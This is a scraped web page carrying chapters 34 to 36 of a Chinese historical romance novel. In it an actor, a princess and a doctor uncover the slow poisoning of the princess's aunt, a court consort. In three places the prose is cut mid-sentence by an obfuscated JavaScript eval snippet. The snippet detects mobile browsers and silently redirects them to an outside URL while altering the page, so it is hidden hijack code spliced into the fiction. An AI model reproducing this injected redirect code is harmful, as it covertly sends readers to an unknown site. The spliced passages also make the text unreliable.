见程怜香已经听不进去旁的话,顾仙人有些无奈,“你是不是个傻的啊?在你眼里就没有别人了?你没听到我说公主中毒是被误伤的吗?公主年纪轻身体好,乍一接触毒物反应便格外厉害。而薛贵妃身子本就娇弱,还常年茹素,因此即便中毒已久也只是气虚罢了。等哪日有了症状,就离一命呜呼不远了。” “什么!”程怜香终于意识到这件事的重要性,“这么危险,那你刚才怎么不说啊?薛贵妃是她的姨母,是她现在唯一的亲人。若是薛贵妃有三长两短,你让她日后怎么活呀?” 顾仙人听了程怜香的话先是一愣,半晌忽然出手,锤了程怜香一拳。 “疼!”程怜香一脑袋问号,“你疯了吗?” “我看看是不是做梦。”顾仙人一脸冷静,“原来不是啊。” 程怜香被顾仙人气得说不出话,“你……” 顾仙人捋了一把大胡子,点着头说道:“看来你是真的喜欢上那丫头了。” 程怜香也是一愣,半晌反应过来,却只是无奈地叹了一口气。 顾仙人看着程怜香,“小香香,你可想好了。她是公主,是金枝玉叶的尊贵人,与咱们可不一样。更何况公主已经被宫中赐婚,你们即便是两情相悦又能如何?难道你还能哄着公主此生不踏入驸马的院子吗?” “我们不是两情相悦,这都是我的单相思!公主已经定了亲,她是个规矩人,从来没对我动过心思的。”说完话,程怜香后知后觉垂下头,“我没打算留在府里,公主也没打算。她一早就决定日后放我走了。” “那你这是……”顾仙人叹口气,“何苦呢?” “我也不想这样,但是我控制得了别的,控制不住自己的心。”程怜香看向顾仙人,眼神也变得坚毅,“所以,我绝不可能眼睁睁看着她伤心却袖手旁观。” “小香香!你有没有想过,宫闱里面的事情远非你我可以插手的!朝中势力复杂,谁知道要害贵妃娘娘的人是哪一方的呢?他们不敢动贵妃和公主,却敢动你!”顾仙人呼出一口气,“我刚才不愿说,便是为着这个原因。我是个半隐居在山林中的人了,这些事我不愿掺和,也不愿看你掺和。” “你不说无所谓,我会告诉她的。”程怜香斩钉截铁说道,“不论是什么人要害她,这件事我都不可能坐视不管。” 顾仙人有些恨铁不成钢,着急地问道:“但你明明都要离开了,多此一举又是为什么呢?” “正因为我要离开了,我才必须帮她赶紧把这件事查出来。”程怜香咬住下唇,“顾老仙,我这个人只会唱戏。从入府到现在看她处心积虑、步步为营,她表面风光无限什么都不怕,实则我知道她每一步都是算好的,最怕行差踏错。如今上天给了我一个机会,让我可以在出府前再为她做点什么,难道我会放任这个机会白白流走吗?” 34. 纠缠 “你……”顾仙人看着程怜香的眼睛,半晌忽然抬起手敲了一下程怜香的脑门。“我早就对你师父说过,你随他,是个犟种。日后肯定也会同他一样,在这件事上吃亏。” 程怜香听了这话,反而释怀一笑。 顾仙人摇头,“从前你师父就是因为这个倔脾气才被奸人所害,毁了嗓子,再也唱不得戏。如今我看你又要走他的老路!” 程怜香看着顾仙人,“若有那日,我不还是有你顾老仙帮忙的吗?” “你!”顾仙人叹口气,最后开口说道:“你回去告诉公主,这桩事我接了。两日后我定会随她入宫,为她姨母诊断。” 程怜香吃了一惊,“这么说,顾老仙你同意了?” “要不然古话说吃人家嘴短、拿人家手短呢。”顾仙人举着手中的茶叶示意,“就看在这些贡茶份上,我也得入宫亲自谢谢贵人。” “那你不怕……”程怜香止住话头。 “你刚才都说了,从小到大你什么见我怕过?”顾仙人微笑,“我是半截身子入土的人了,大风大浪都走过了,也不差这一点。更何况,你这么喜欢她。若是她伤心了,你不也就会伤心吗?若是你伤心了,只怕你师父也会跟着你伤心。他身体不好,是再受不得一点刺激的。” 程怜香目光中带着歉意,“多谢你了,顾老仙。” 顾仙人咧嘴一笑。“你是你师父的徒弟,就是我的徒弟。” 两人抬头,发现已经走到了公主府大门口,送顾仙人的马车早已等在门外。 顾仙人抬手弹了程怜香脑门一下,“回去吧,在府里机灵点。” 程怜香点头,拱手作别后转身往回走去。 看着程怜香的背影,顾仙人轻轻说道:“如果我没看错的话,或许你并非是单相思。”说完,笑着离开了公主府。 另一边翠华庭中,苻庆本在用膳,抬头看见程怜香急急忙忙跑进来,还有工夫问道:“吃饭了吗?要不要一起吃?” 程怜香不敢耽误时间,见屋内没有旁人,拉出圆凳坐下后,立刻将顾仙人愿意两日后进宫的事情告知了苻庆,同时还将顾仙人关于中毒的猜测告知了苻庆。当然程怜香并没有提到顾仙人对于薛贵妃身体不好的诊断,他怕苻庆伤心。 本以为听到这消息后苻庆会高兴,却没想到对方不仅没有露出高兴的表情,脸上反而还越发阴郁下去。 程怜香有些担心,“公主,你怎么了?顾老仙愿意入宫,你不高兴吗?” 苻庆表情还是愣愣的,半晌才找回声音。“我高兴啊,多谢老先生愿意出手帮助。” 程怜香见对方还是那副模样,继续追问道:“高兴你怎么阴沉着脸?你当我傻,到现在还分不出你是真的高兴还是假的高兴吗?” 听到这,苻庆忽然长叹一口气。 程怜香猜测苻庆是担心薛贵妃的身体,轻声安慰道:“你别怕,顾老仙在研究解毒方面也很有造诣,贵妃娘娘应当不会有什么事的。” 苻庆却不是担心这件事,早在刚才程怜香刚说出中毒的时候苻庆便已经想到。说实话苻庆在宫中呆了六年,这种下作手段也不是没有遇到过,因此她对于薛贵妃有可能是中毒一事丝毫不感到意外。但此一时彼一时,如今薛贵妃已经是代行皇后之职的六宫之主,同时还是当今太子的生母。此时有人敢对薛贵妃下毒,所求的便必然不是皇帝的荣宠这么简单。 “皇上子嗣单薄,后宫中有皇嗣的妃子也就那么几个,他们的儿子还都年纪尚轻,与我表弟相比并无胜算。”苻庆皱眉,“宫中规定谋害后妃可是牵连家族的,我简直想不到,她们有什么理由要冒着这么大的风险去害我姨母?” 程怜香听过苻庆的话也觉得奇怪,“听你这么说我也觉得有问题。说句难听的,她们若真是想求太子之位,谋害你姨母做什么?还不如去直接谋害太子。” 苻庆看向程怜香,对方说的话虽然有道理,但确实有些难听。苻庆撇嘴一笑,抬手锤了程怜香一拳,“你能不能说话好听点?太子是我表弟。” 程怜香自知说错了话,撇着嘴揉了揉疼痛的胳膊。 苻庆思来想去,还是决定要对程怜香讲明白前因后果。“程怜香,此事若只是后妃争风吃醋也就罢了,可若是涉及立储,便是牵动朝野的大事。我现在已经明白老先生刚才的疑虑了,我也完全能够理解老先生为什么一开始迟迟不敢答应我。你放心回去告诉老先生,若他真的不愿意入宫为我姨母诊病,我不强求。” 程怜香一怔,“你不强求?为什么?你不担心你姨母的身体了吗?” “我自然担心。”苻庆见程怜香没明白,继续解释道:“可是老先生是无辜的啊,我总不能为了一己私利,就将老先生牵扯进这么复杂的阴谋中吧?左右皇宫中还有陛下为姨母撑腰,太子是陛下亲自指定的,那人若真是想要动摇国本,我想陛下也不会答应的。” 听到苻庆这么说,程怜香不仅没有高兴,反而腾的站起身。圆凳被程怜香的动作撞倒,在地上咕噜咕噜滚了几圈。 苻庆被程怜香的动作吓了一跳,连忙关心起在地上翻滚的圆凳。 “程怜香你干嘛啊?把我的凳子撞坏了怎么办?这可是宫里给我置办的,难道你赔给我吗?” 程怜香见苻庆都到这时候还在担心地上的圆凳,气不打一处来,一把拉过苻庆的胳膊。 苻庆被迫从凳子上站起来,抬起头看着程怜香。 “苻庆,你给我说清楚,什么叫他顾老仙是无辜的,什么叫你为了一己私利将他牵扯进来?那我问问你,当初你把我抢进你的公主府做面首的时候,你怎么就没想到过我是无辜的?就没想过我也是你为了反抗赐婚被牵扯进来的受害者!” 苻庆愣住,她完全没有想到程怜香会在此时突然发难。这些日子他们相处甚是融洽,苻庆甚至以为程怜香早就从一开始憎恨自己的状态中走出来了,却没想到对方只是忍耐着,并没有原谅自己。 当然,苻庆自知那日自己抢程怜香进府的行为着实过分了,也没奢求程怜香能够原谅自己,只是没想到对方竟然已经到了也见不得自己对旁人好的地步。苻庆在心里思量着,那自己应该怎么说呢?说自己其实是格外讨厌顾仙人才不愿意把他牵扯进去的? 程怜香见苻庆一直不说话,以为对方被自己说得无言以对,心中更加难过。他生气当然不是因为见不得苻庆对顾仙人好,而是因为他再一次发现苻庆在对其他所有人时都能够做到以礼相待、三思后行,却在对自己是每每都是率性而为、从无顾虑。 戏子伶人本就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16446124|185107||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是三教九流的最末一等,顾仙人即便再不修边幅也是正经的大夫,在社会上的地位比他们戏班子里的人高多了。如今看到苻庆这样的态度,程怜香更加感觉苻庆就是打心眼里瞧不起自己,所以才会在对待自己时格外无礼,完全不在乎自己的感受。 想到这,程怜香又想起顾仙人刚才对自己说的那些话,一股委屈感忍不住涌上心头。他从没有想过苻庆会对自己的感情做出回应,也做好准备自觉退出苻庆人生的准备,却没想到苻庆竟对自己如此不屑一顾。明明前几日苻庆还愿意说谎话骗一骗自己,假装出一份尊重自己的样子,谁知今天竟连说谎话都不愿意了。 她果然是早已经厌倦自己了。那自己的纠缠还有什么意义? 程怜香松开手,转身向外走去。 苻庆被程怜香扔在原地的时候还是一头雾水,她实在想不明白程怜香明明和顾仙人关系这么好,为何不愿意自己替顾仙人着想,难道他们两人明面上交好,实则是什么世代的仇人关系吗? 思考转瞬之间,程怜香已经走到门口。苻庆连忙出声喊他,他却头也不回仍然大跨步向外走去。 苻庆此时着实想要问个明白,索性跟着程怜香向外走去,终于在屋檐下拉住了程怜香。 “程怜香,你莫名其妙的抽什么风啊?” 程怜香没想到苻庆第一反应竟会是指责自己,心头委屈感更甚,一言不发挣脱开苻庆的手,继续往外走去。 这一挣扎反而激起了苻庆的斗志,苻庆咧嘴一笑,“程怜香,我再说最后一次。你若再不站住,就别怪我对你不客气了。” 程怜香脚步一滞,回身瞥了苻庆一眼。他此时已经做好了要和苻庆决裂的准备,因此这一眼中除了伤心还有浓浓的不舍,但最终还是步伐坚定地往外走去。此时程怜香已经伤心欲绝乃至什么都不怕了,他既然已经知道自己在苻庆心中是怎样的地位还在此做什么?继续等待更多的羞辱吗? 苻庆只见程怜香回身看了自己一眼后便继续往外走去,第一反应这是程怜香对自己赤裸裸的挑衅。她被程怜香的举动气笑,再也按耐不住心中的怒气,大步流星走上前一把拉住程怜香。 程怜香还想挣扎,却只感觉到手腕一疼,下一瞬便被苻庆掰着胳膊背过身。苻庆按着程怜香的胳膊往前走了几步,一把将程怜香按在了旁边游廊的柱子上。 程怜香看不到背后,却能够感觉到苻庆的呼吸声就在自己脑后不远处。一呼一吸如同海浪拍打海岸,配合着程怜香此刻如同擂鼓般的心跳。并且由于视觉受阻,程怜香的其他感官反而更加灵敏,甚至能够闻到属于苻庆身上特有的香味。苻庆平日不爱熏香,但婢女们在洗衣服的时候会添加香料,因此苻庆身上常年带着一股若有若无的清香味,那是一种衣料香味与少女体香混合过后的味道,只有在距离苻庆很近的时候才能够闻到。上次程怜香闻到这股香味,还是在从老郎庙回来的马车上,苻庆因为马车颠簸栽倒在自己怀里的时候。 回忆与现实交织,这对于程怜香的冲击感实在太大。不出所料,程怜香的耳朵又红了。 程怜香觉得二人目前的姿势实在不太雅观,连忙尽力挣扎起来。奈何苻庆不知用了什么手法,伴随着程怜香越挣扎只觉得手腕越来越疼,而苻庆却仍然气定神闲。 35. 擒拿 程怜香红着眼圈,着急地喊道:“苻庆,你,你这是做什么?” 苻庆觉察出程怜香的挣扎未遂,笑着说道:“你说我要做什么?” 苻庆的声音不大,但贴着程怜香的耳朵很近。程怜香被对方呼出的气息惹得耳朵痒,不自觉缩了缩脖子。脖子一动程怜香就后悔了,他刚才还在生气,此刻应该梗着脖子一动不动才对,这一动一定会立刻失了气势。果然程怜香刚做完动作,便听到耳后传来一声闷笑。 “你笑什么?”程怜香尽力梗着脖子喊。 苻庆的气息扑在程怜香耳后,“程怜香,你脖子都红了。” 程怜香这才意识到自己从脑袋到脖子已经红了个彻底,心里只想找个地缝钻进去。他有时候简直不能明白自己,明明每次心里都想好了要恨对方,却又每次在苻庆面前会轻而易举地败下阵来。偏偏还这么容易害羞,动不动便脸和脖子一起红透,导致他在苻庆跟前根本强硬不起来。 “你这都是从哪学来的乱七八糟的?像什么样子?还不快赶紧放开我!”程怜香不敢再挣扎了,不知是不是他的幻觉,那股香味已经变得越来越浓郁。伴随着苻庆扑在耳朵上的呼吸,他不需要回头便知道现在少女的身体已经倾覆在自己背上……程怜香只觉得自己身体逐渐变得燥热起来。 “乱七八糟?”苻庆嗤笑一声,“你懂什么?这是擒拿手,是我父亲在我小时候便教给我的。你可别小瞧了这个,只要我不松手,你即便再挣扎也逃脱不了我的束缚,不信你试试?” 程怜香根本不敢再动一下,他现在恨不得自己立刻变成一块木头,能够被苻庆干脆直接镶嵌进身前这根游廊柱子中。 “你……你快松手!我,我的手腕要断了!” 苻庆这才意识到自己下手太重,也许真的会伤害到程怜香。此时听到程怜香呼痛,苻庆也不再坚持,手上微微使劲,便将程怜香掉转过来面对着自己。 “你说你这么不经碰,还非要跟我闹……” 苻庆的声音戛然而止,因为就在她看清程怜香脸的时候才发现,对方的眼眶子红红的,明显便是刚刚哭过。 程怜香此时也发觉已经暴露,奈何苻庆的胳膊还将他牢牢地控制在身前,只能固执地扭过头不看苻庆的眼睛。 程怜香皮肤本就白皙,此时一双凤眼眼角微红,眸子还闪着泪光,两道泪痕挂在面颊上。头发也由于刚才的争执有些松乱了,两缕碎发垂到腮边。 试问看到这一幕,苻庆怎么可能还有脾气发得出来呢? “你到底是怎么了?我又哪里惹着你了?”苻庆软下调子,用一种她都没意识到的前所未有的温柔声音说道:“好端端的,突然生什么气啊?” 程怜香能感觉到刚才禁锢自己的两只胳膊一下子就变软了,连带着扯着他的手都变了味道,从一开始不管不顾的力道变成轻柔地牵着,甚至还轻轻晃了晃。 程怜香这人虽说脾气来得快,但也有一个好处,那就是好哄。基本上对方只要一给台阶他就顺着下来了,变脸速度堪称一绝。此刻也不例外,一感觉到苻庆的态度已经有所软化,程怜香内心的委屈也就下去大半。 苻庆也能感觉到程怜香明显不再和刚才一般和刺猬似的了,虽说不知道程怜香这股无名火到底从哪来的,但她只要看到程怜香那副可怜巴巴的小模样,心里便像是被挠过一般难受。还好她在宫中呆的时间久了,撒娇哄人的话也算是张口就来。 “别生气了,你这样子我就算是瞧着,也挺不好受的。” 程怜香彻底哑了火。 “我没生气。” 见程怜香终于舍得开口,苻庆知道自己的努力算是成功了。 “那你刚才扭头就走干什么?难道你和顾仙人实则有什么过节?” 程怜香被苻庆的脑回路惊讶到不知道说什么,只能认真解释道:“你怎么还是不明白?我不是生气你对顾仙人怎么样,而是气你对我怎么样,我觉得你自始至终都没有尊重过我。” 苻庆睁大眼,只觉得程怜香的话实在过于没头没脑,“程怜香,你这话说得有点忒没良心了吧?这些天我再也没强迫过你陪我睡觉,每次和你说话的时候也都是和和气气的。你说你的理想是成角儿,我也都记在心里了。你还要我怎么尊重你呢?” 听到睡觉的时候程怜香就想让苻庆住嘴,奈何没法上手,只能眼睁睁地看着苻庆像爆豆子一样说出这些话来。听完苻庆的话,程怜香只感觉不仅没有好转,反而自己的脸还越来越烫起来。 确实如苻庆所说,如果是按照平常人甚至普通朋友来说,苻庆对他的尊重当然已经足够了。但奈何程怜香此时已经喜欢上了苻庆,他要的根本不是和旁人的一视同仁,而是苻庆与众不同的对待。 即便他平日里再极力掩饰,内心想方设法说服自己,最终还是会在偶然中露出一点马脚。 程怜香无言以对,最终只能强词夺理道:“那你为什么执意不让顾老仙帮你?对待他的时候你尚且能够心生顾虑,为何在对我的时候就能够毫无恻隐之心?刚才还非要用什么擒拿手抓我!”说着话,程怜香还不忘举起受伤的手腕到苻庆眼前,“你自己看!我手腕都被你勒红了!” 苻庆无奈,程怜香的手腕确实被她勒得红了一大片,她哪能想得到程怜香的皮肤如此娇嫩呢?苻庆嘴上说着道歉,顺手把程怜香的手腕捞回手里,撅起嘴轻轻为程怜香呼呼了两下。 “好了好了,我吹过就不疼了啊!你说你也是的,怎么能这么不经折腾呢?” 感受到苻庆吹出的风拂过肌肤,程怜香此时已经彻底忘记了自己刚才有多么伤心欲绝,他只能感受到两缕清风在自己手腕上拂过。 算了,她对顾仙人再好又怎样?她和杜至善有再多的小秘密又能怎样?他们两个感受过被苻庆对着伤处吹气的感觉吗?他们两个有被苻庆这样举着手腕安抚吗?不论如何这至少证明一点,苻庆心里还是愿意哄着自己的,哪怕只是逢场作戏。 想到这里,程怜香只觉得神清气爽,再大的委屈都好了。 程怜香此时根本没意识到他已经疯狂到甚至开始吃顾仙人的醋了,这醋缸子出现的毫无道理,甚至于有些无理取闹。但没办法,眼见着离府的日子就在眼前,程怜香的心也跟着越来越纠结、越来越患得患失、越来越不可理喻。 他知道苻庆并不喜欢他,便要求任何人都只能与他一般,只占着苻庆心坎一个虚无的影子。程怜香就是这样用精神上的胜利安抚着自己,度过这一段已经有些煎熬的日子。 心情变好后,程怜香也不再执着于什么尊不尊重的问题了,回到继续劝说苻庆的轨道上。“你放心吧,顾老仙有分寸,不会真的被牵扯到其中的。再者说,顾老仙比咱们年纪大多了,按照他的话说,他吃过的盐比 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16446125|185107||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 咱们走过的路都多,你担心他做什么?” 苻庆虽然心里觉得程怜香说的有道理,她也很担心薛贵妃的身体,但一想到这件事有可能涉及的后果,她又不敢对顾仙人的安危做出什么保证,因此仍然是迟疑着不肯松口。 见苻庆还在迟疑,程怜香只觉得心中有些着急起来。 “你到底在迟疑什么呢?我和顾老仙真的只是想帮忙!再说,之前你明明也帮过我了,怎么到了你这反而连叫我帮个忙都不肯呢?你总想着怕我们有危险所以不敢答应,可你怎么没想过我们就是心甘情愿的?哪怕知道有危险,只要是为了你,我也是愿意豁出去的。” 苻庆愣住,她与程怜香此时的距离很近,程怜香的手腕甚至还被她握在手中没有松开。 她并不明白程怜香说这话是什么意思,更不明白程怜香这话又是从何说起,毕竟入宫为薛贵妃诊病的不是他程怜香,自然也就不存在需要他豁出去的时候。但不知为何,就是这样一句没头没脑甚至没什么逻辑的话,反而让苻庆心头一暖。 此刻苻庆的眼中忽然看不见了旁的东西,她只能看到程怜香一个人,只能看到程怜香坚定地看着自己的眼神。程怜香很少会在面对她时如此勇敢,能够做到这样长时间和她对视。隐隐约约的,苻庆感觉二人之间正在产生什么。但究竟是什么,她一时也说不上来。 她只知道,在这一刻,她忽然有种想要吻上去的冲动。 松醪本想过来看看苻庆午饭吃的如何了,谁知刚进院门便看见俩人像对鸳鸯一般挤在游廊下,你挨着我我挨着你紧紧贴着,程怜香的手腕还被苻庆握在手中。有时候松醪真的不明白苻庆在做什么,成日撩拨这个小童子,明知道对方是看得见摸不着的却还是乐此不疲。还有那个程怜香也是,明明动了心却还又不敢承认,自己喝醋都喝了快一缸子了,苻庆却还什么也不知道。松醪摇着头轻叹一口气,悄悄地倒退了出去。 苻庆此时正在紧紧盯着程怜香的嘴唇,内心中正在默默地天人交战。她从前没有亲过旁人,也不知道接吻究竟是什么滋味,她只知道此时她很想借程怜香的嘴唇感受一下。程怜香的唇峰很明显,因此唱戏上妆之后格外好看。想到唱戏,苻庆又找回来了一些自己的理智。程怜香早就说过他不能破戒,自己既然打定主意要补偿他,就要支持他这个决定。 下一瞬,苻庆往后猛地一退,拉开了自己和程怜香之间的距离。 程怜香还在和苻庆的对视中缓不过神,刚才有一瞬间他甚至有种错觉,以为苻庆要凑上来亲自己。 “你胡说什么呢?又不是你入宫给我姨母看病,你豁出去做什么?” 程怜香垂下头重重地呼出一口气,好缓解自己被情欲刺激得怦怦乱跳的心脏。此刻他已经不知道该庆幸还是伤心,自己的心上人居然是个如此不解风情的木头。 “总之你就别管了。我已经同顾老仙说好,两日后他会到府上随你入宫。”程怜香抚上自己的心口,“你若是实在担心他就谨慎些,诊病的结果不要让除你姨母外的任何人知道就行了。” 见程怜香一再坚持,苻庆也就不再拒绝。况且皇宫中她还有姨母为自己撑腰,从之前宁国公府一事为皇帝出谋划策便能够看出,苻庆是极其相信薛贵妃的。薛贵妃心善而又沉稳,总能够做出万全的考虑。 “程怜香,多谢你了,这一次算我欠你一个人情。” 36. 诊断 两日后,顾仙人按照约定登门,再三谢过顾仙人好意后,苻庆和顾仙人一同乘马车入宫。 马车上,顾仙人想到刚才上车前程怜香千叮咛万嘱咐要他说话谨慎些,千万不要吓到苻庆的样子便觉得想笑,扭头看见苻庆坐在对面偏着头不知道在想什么,忽然起了心思想要试探下苻庆对程怜香的看法。 “公主,恕草民冒昧,草民心中一直有一个疑问想要询问公主,不知公主能否答应解开草民心中疑虑?” 苻庆还当是顾仙人要问关于薛贵妃的事情,立刻说道:“老先生但讲无妨。” 顾仙人捋了一把胡子,试探着问道:“公主,就连草民都知道小香香是个倔脾气,平日里极难相处。草民一直疑惑,您到底是怎么看上小香香的?如今他也算在公主府有段时间了,难道您直到现在还未厌烦他吗?” 苻庆没想到顾仙人居然问的是关于程怜香的问题,笑着问道:“老先生怎么想起来问这个?可是程怜香又背着我跟您说我的坏话了?” 顾仙人连忙摆手,“小香香怎么敢呢?对于现在的小香香来说,他夸您还来不及呢!” 苻庆没有听出顾仙人的一语双关,只当是顾仙人在吹捧自己,并未放在心上。 “不瞒老先生说,一开始我与程怜香也是着实针锋相对过一阵,但很快我们就讲和了。”苻庆脑子里不自觉浮现出她把程怜香按在床上的样子,面上露出一个微笑,“现在对于我来说,程怜香是我的一位好友。我也不得不承认,在程怜香身上也让我学到了一些道理。” 顾仙人竖起耳朵,“什么道理?” 苻庆一愣,对于顾仙人打破砂锅问到底的态度有些奇怪,但还是配合着说道:“我明白了更多平民百姓的难处。说实话之前我在宫中生活了六年,被我姨母纵容坏了,也做下了一些错事,直到最近才醒悟过来。因此我现在只想着能够做一些事,为我之前犯的错作出补偿。” 说到这,苻庆话锋一转,“若是老先生知道程怜香有什么想要的东西,您可不能隐瞒不告诉我。我保证只要在我力所能及范围内的,都会满足程怜香。” 顾仙人嘴张了又张,就差把“程怜香最想要的人就是你”说出来了。但碍于苻庆公主的身份和害怕程怜香给他师父告状的压力,最终还是把这句话吞了回去。 “自然,自然。” 顾仙人话问完了,苻庆却又想起之前听程怜香对自己讲过的事情,开口询问顾仙人道:“之前程怜香对我讲过老先生年轻时的故事,我一直很想问您,云游四海究竟是一种什么样的感觉?您喜欢那种感觉吗?若是喜欢的话,又为何会突然回到京城呢?” 顾仙人哈哈一笑,轻抚过一把胡子,“年少时我也曾在京城扎根,但看过的病人越多我越意识到,我的医术实在太过微不足道,这世上还有太多让我无能为力的疾病。所以在师父过世后我决定离开京城,前往万水千山间探寻更多的答案。云游四海给我最大的感觉便是自由,在大自然中我终于感受到了真正的无拘无束。” “真正的无拘无束?”苻庆听入了迷,“真好,我也向往那样的生活。” “但也是这个过程中,我终于意识到我根本不可能成为一个独居世外桃源的散仙。那样的生活虽然自由,但对于我而言却有些痛苦。我总觉得人应当还是要有所牵挂的,若真的达到了无牵无挂的境界,活着还有什么意思?”顾仙人不知想到什么,轻轻摇头,“所以,最终我还是回到了京城中,回到了这个我最熟悉的地方。” 听完顾仙人的话,苻庆由衷感慨道:“老先生,我真羡慕你,若是我也能有一日过上自己想过的生活便好了。只可惜如今我虽贵为公主,人生却由不得自己。” 顾仙人轻轻摇头,“你迟早会发现真正自由自在的生活并非取决于山水之间,而是你自己的心。” 苻庆愣住,她此时还不能明白顾仙人话中的含义,但还是点了点头。 正说着话,二人已经到达内廷宫墙外。苻庆和顾仙人先后下马车,继续坐小轿到达晏呢殿。 晏呢殿中,薛贵妃已经接到了松醪早就递进来的消息,她虽然并不想折腾这一次,但却不忍心拂了苻庆的好意。因此也备上好茶,提前做好了准备。 到达晏呢殿,苻庆便看见薛贵妃果然又站在殿门外等待自己。 苻庆此时已经知道薛贵妃中毒,连忙走上前扶住薛贵妃,“姨母怎么回事?生病了为何不在屋内等我?” 薛贵妃笑着摸了摸苻庆的脑袋,“知道你回来看我,姨母高兴,在屋里坐不住。” 苻庆心头一酸,又不能将自己已经知道的事情和盘托出,因此只能偷偷叹了口气。 二人看到顾仙人下轿,苻庆立刻介绍道:“姨母,这位便是顾仙人,是位有名的神医。” 由于苻庆暂且隐瞒了自己此前生病的事情,因此只能说是在宫外偶然认识的顾仙人。好在薛贵妃并未怀疑,只是十分恭敬地点头说道:“有劳顾仙人了。” 顾仙人深揖一礼,“草民不敢。” 一行人进入宫室,待薛贵妃坐下后,顾仙人从背进宫的包袱中取出把脉枕。薛贵妃将手腕放上后,花露又在薛贵妃手腕上铺了一层手帕。顾仙人再次行揖礼,才开始为薛贵妃切脉。 两只手都切过脉,顾仙人心中已经有了把握,却不直接说出,而是使眼色看向苻庆。 苻庆与顾仙人一对视便明白对方意思,转头对花露说道:“花露,一会我要在宫中用午膳,你派人去尚膳监说一声。” 这点小事自然不用特意吩咐花露去做,花露了然苻庆的意思。先是用这个理由打发出去殿内站着的其余两个婢女,接着以准备茶点为由自己退了出去。 苻庆看向顾仙人,此时殿中虽然已经没有了外人,但他们两个一个不知道怎么说,一个不敢直接说,因此竟一时间陷入沉寂。 最后反而是薛贵妃先说话了。 “顾仙人若有什么要讲的,但说无妨。” 苻庆见薛贵妃已经猜出,便对着顾仙人点点头。顾仙人得了这样的暗示,终于下定决心开口说道:“贵妃娘娘,恕草民直言,此事确实如同草民此前猜测的一般,你与公主一样都是中毒。并且从脉象上看,您的毒中得更深。” 苻庆有些着急,“那要怎么医治?” 顾仙人还记得程怜香临行前的嘱托,赶紧补充道:“公主放心。此毒虽刁钻却是个慢性毒,不会 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16446126|185107||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 突然要了人性命,只要贵妃娘娘能够坚持服药,草民保证一定能治好娘娘。” 苻庆放下心来。发现薛贵妃皱着眉望着自己,苻庆这才将自己此前入宫用膳后中毒的事情讲出,但到底还是将自己半夜高烧的凶险经历省略掉了,只是说自己出宫后肠胃不适吐了一宿。 苻庆说完这些,又怕薛贵妃害怕,连忙安慰道:“姨母,这位顾仙人医术很是精湛。您别害怕,他一定能治好您的。” 出乎意料,薛贵妃却是一脸平静,反而还安抚地拍了拍苻庆的手。 顾仙人此时已经确信薛贵妃对自己中毒之事并不惊讶,也就明白对方至少应该是心里有数,因此只专注于为薛贵妃开药方。 “娘娘,一会草民会为您开一张药方。从今日起一日三次煎服此药,草民保证不过一月时间便可药到病除。” 薛贵妃点头致意,“多谢顾仙人。” 苻庆此时也已经发现薛贵妃的反应有些反常,但想到顾仙人与此事无关,也不想在顾仙人面前问起此时。 “庆儿,你出宫时在偏殿落下了一包夏天的衣物,我让花露帮你收拾好了。这会她去准备茶点,我随你去偏殿取吧。” 苻庆和顾仙人都明白这是薛贵妃的托词,苻庆点头跟薛贵妃走了出来,顾仙人候在殿中。 一到达偏殿,苻庆早已急不可耐,连忙问道:“姨母,我看您怎么对中毒的事情丝毫不惊讶?您是不是猜到什么了?” 薛贵妃点头,从苻庆原先的书桌上翻出几张抄好了的经书。 “这是前几日我刚抄写好的,本来应当在昨日由花露送到永福殿供奉。谁知打开一看,墨色已经变得乌黑了。” 苻庆低头一看果然如此,怪不得薛贵妃会提前有所猜测。毒物进入体内,必然会污染血液。薛贵妃已经茹素多年,若不是因为中毒,抄写血经怎么可能会突然出现问题呢? “看到墨汁变色的那一瞬间我便已经意识到自己可能中了毒,只是没想到会无故牵连了你。” 苻庆见薛贵妃一脸歉意,焦急地说道:“姨母这都什么时候了?您怎么还说这些无关的话呢?那人一定是冲着您来的,如今您在明他在暗,您该怎么办呢?总不能真的依靠日日试毒活着吧?” 薛贵妃轻轻摇头,示意苻庆不要着急。 “你放心,一会我便让花露彻查晏呢殿。另外此事事关重大,我相信陛下是绝对不会袖手旁观的。” 苻庆点头,花露是薛贵妃的心腹,做事极有条理,苻庆也很是信任她。 薛贵妃见苻庆已经冷静下来,继续拉着苻庆的手嘱咐道:“庆儿,此事非寻常之事,如何告知陛下、何时告知陛下都是值得思考的事情。你答应姨母,一定不要擅自走露风声,否则到时候即便陛下想为姨母鸣不平也很难抓到人了。” 苻庆明白薛贵妃的担忧,“姨母放心。为了防止他人起疑,我这就要出宫了。” 薛贵妃笑着答应,“庆儿,宫中的饮食既然不干净,我也就不便请顾仙人喝茶了,你出去后记得给顾仙人一笔赏钱。” 